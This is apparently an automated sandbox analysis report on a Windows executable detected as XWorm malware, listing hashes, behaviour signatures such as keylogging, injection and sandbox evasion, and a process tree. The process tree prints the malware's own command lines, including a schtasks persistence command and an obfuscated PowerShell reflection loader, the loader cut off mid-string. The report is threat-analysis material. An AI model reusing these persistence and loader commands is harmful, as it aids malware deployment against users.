Edit tour
Windows
Analysis Report
aoKTzGQSRP.exe
Overview
General Information
Sample name: | aoKTzGQSRP.exerenamed because original name is a hash value |
Original sample name: | 202cb1021a1db9bd59a642ebee781bbafe284faf3fe1ba8e0ed1d89b3878ddbf.exe |
Analysis ID: | 1539526 |
MD5: | 86357c1fffbe566da1d9903ab765f921 |
SHA1: | 1d55db2dd9e556ff066e297273e402130adf515f |
SHA256: | 202cb1021a1db9bd59a642ebee781bbafe284faf3fe1ba8e0ed1d89b3878ddbf |
Tags: | exeuser-Chainskilabs |
Infos: | |
Detection
XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Telegram RAT
Yara detected XWorm
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains process injector
.NET source code contains very large strings
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Creates a thread in another existing process (thread injection)
Drops PE files to the user root directory
Found pyInstaller with non standard icon
Found suspicious powershell code related to unpacking or dynamic code loading
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Obfuscated command line found
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential WinAPI Calls Via CommandLine
Sigma detected: Suspicious Program Location with Network Connections
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Uncommon Svchost Parent Process
Stores files to the Windows start menu directory
Stores large binary data to the registry
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- aoKTzGQSRP.exe (PID: 5228 cmdline:
"C:\Users\ user\Deskt op\aoKTzGQ SRP.exe" MD5: 86357C1FFFBE566DA1D9903AB765F921) - CMaker 2.0.exe (PID: 4800 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\CMaker 2.0.exe" MD5: CC32561980C2400C490A4849C78E38ED) - conhost.exe (PID: 6432 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - CMaker 2.0.exe (PID: 1136 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\CMaker 2.0.exe" MD5: CC32561980C2400C490A4849C78E38ED) - 1.exe (PID: 4828 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\1.exe" MD5: E1C82191B678CEA8F3C996887DDC1232) - DeadXClient.exe (PID: 6684 cmdline:
"C:\Users\ Public\Dea dXClient.e xe" MD5: F1976EA02BFFAEF5AC943C2ABBB7426C) - schtasks.exe (PID: 7000 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /f /RL HIGHEST /s c minute / mo 1 /tn " Deadsvchos t" /tr "C: \Users\Pub lic\Deadsv chost.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 7140 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - DeadROOTkit.exe (PID: 4188 cmdline:
"C:\Users\ Public\Dea dROOTkit.e xe" MD5: 7DD98FC2976EE270A278E1A9A28EEFAE) - WerFault.exe (PID: 4976 cmdline:
C:\Windows \system32\ WerFault.e xe -u -p 4 188 -s 166 0 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0) - DeadCodeRootKit.exe (PID: 6704 cmdline:
"C:\Users\ Public\Dea dCodeRootK it.exe" MD5: B8479A23C22CF6FC456E197939284069)
- powershell.exe (PID: 5000 cmdline:
C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.EXE "f unction Lo cal:Pwejfa SCJJDP{Par am([Output Type([Type ])][Parame ter(Positi on=0)][Typ e[]]$vayDT kuWaaLxUU, [Parameter (Position= 1)][Type]$ fbfUvfPkbf )$SKuzEDmH WUw=[AppDo main]::Cur rentDomain .DefineDyn amicAssemb ly((New-Ob ject Refle ction.Asse mblyName(' R'+'e'+'f' +[Char](10 8)+'e'+[Ch ar](99)+'' +[Char](11 6)+'ed'+[C har](68)+' '+'e'+''+[ Char](108) +''+'e'+'' +'g'+''+[C har](97)+' t'+[Char]( 101)+'')), [Reflectio n.Emit.Ass emblyBuild erAccess]: :Run).Defi neDynamicM odule(''+[ Char](73)+ ''+[Char]( 110)+'M'+' e'+'m'+'o' +''+'r'+'' +[Char](12 1)+''+'M'+ ''+'o'+'d' +'u'+''+[C har](108)+ ''+[Char]( 101)+'',$F alse).Defi neType(''+ [Char](77) +'y'+[Char ](68)+'e'+ [Char](108 )+''+[Char ](101)+''+ 'g'+'at'+' e'+'Ty'+[C har](112)+ 'e',''+[Ch ar](67)+'' +'l'+'a'+[ Char](115) +'s,P'+[Ch ar](117)+' b'+[Char]( 108)+''+[C har](105)+ 'c'+[Char] (44)+''+'S '+''+[Char ](101)+''+ 'a'+''+[Ch ar](108)+' '+'e'+''+[ Char](100) +''+[Char] (44)+''+[C har](65)+' '+[Char](1 10)+''+'s' +''+[Char] (105)+''+[ Char](67)+ ''+'l'+'as '+[Char](1 15)+''+[Ch ar](44)+'' +[Char](65 )+'u'+[Cha r](116)+'' +[Char](11 1)+''+'C'+ ''+'l'+''+ [Char](97) +'s'+[Char ](115)+'', [Multicast Delegate]) ;$SKuzEDmH WUw.Define Constructo r(''+[Char ](82)+''+[ Char](84)+ ''+[Char]( 83)+''+[Ch ar](112)+' '+[Char](1 01)+''+[Ch ar](99)+'' +[Char](10 5)+''+[Cha r](97)+''+ 'l'+''+[Ch ar](78)+'' +[Char](97 )+'m'+[Cha r](101)+', H'+[Char]( 105)+''+[C har](100)+ ''+[Char]( 101)+'B'+' y'+''+[Cha r](83)+''+ [Char](105 )+'g'+[Cha r](44)+''+ 'P'+'u'+[C har](98)+' l'+[Char]( 105)+''+[C har](99)+' ',[Reflect ion.Callin gConventio ns]::Stand ard,$vayDT kuWaaLxUU) .SetImplem entationFl ags(''+[Ch ar](82)+'' +'u'+'n'+[ Char](116) +''+[Char] (105)+''+' m'+'e,'+[C har](77)+' '+[Char](9 7)+''+[Cha r](110)+'' +'a'+''+[C har](103)+ 'e'+'d'+'' );$SKuzEDm HWUw.Defin eMethod('' +'I'+''+[C har](110)+ ''+[Char]( 118)+''+[C har](111)+ ''+[Char]( 107)+''+'e '+'',''+'P '+''+[Char ](117)+''+ [Char](98) +'lic'+[Ch ar](44)+'' +[Char](72 )+''+[Char ](105)+''+ [Char](100 )+'e'+[Cha r](66)+'y' +'S'+''+[C har](105)+ ''+'g'+''+ ','+''+[Ch ar](78)+'' +'e'+''+'w '+''+'S'+' '+[Char](1 08)+''+[Ch ar](111)+' '+[Char](1 16)+',V'+[ Char](105) +''+[Char] (114)+''+[ Char](116) +'u'+[Char ](97)+''+' l'+'',$fbf UvfPkbf,$v ayDTkuWaaL xUU).SetIm plementati onFlags('' +[Char](82 )+'u'+'n'+ ''+[Char]( 116)+'im'+ 'e'+','+[C har](77)+' '+[Char](9 7)+''+'n'+ ''+'a'+''+ 'g'+''+[Ch ar](101)+' d');Write- Output $SK uzEDmHWUw. CreateType ();}$mHgtx YLbOzoJe=( [AppDomain ]::Current Domain.Get Assemblies ()|Where-O bject{$_.G lobalAssem blyCache - And $_.Loc ation.Spli t('\')[-1] .Equals('' +[Char](83 )+''+'y'+'